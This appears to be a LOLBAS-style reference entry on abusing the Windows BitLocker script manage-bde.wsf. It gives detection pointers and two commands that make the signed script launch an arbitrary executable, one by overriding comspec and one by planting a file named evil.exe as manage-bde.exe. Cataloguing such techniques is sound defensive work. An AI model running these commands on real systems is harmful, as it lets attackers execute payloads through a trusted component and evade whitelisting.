

# .. /Manage-bde.wsf

Execute

Script for managing BitLocker

## Paths:

C:\Windows\System32\manage-bde.wsf

## Resources:

- <https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712>
- <https://twitter.com/bohops/status/980659399495741441>
- <https://twitter.com/JohnLaTwC/status/1223292479270600706>

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## Detections:

- Sigma:  
[https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process\\_creation/proc\\_creation\\_win\\_lolbin\\_manage\\_bde.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml)
- IOC: Manage-bde.wsf should not be invoked by a standard user under normal situations

## Execute

. Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.

```
set comspec=c:\windows\system32\calc.exe & cscript c:\windows\system32\manage-bde.wsf
```

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. Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.

```
copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
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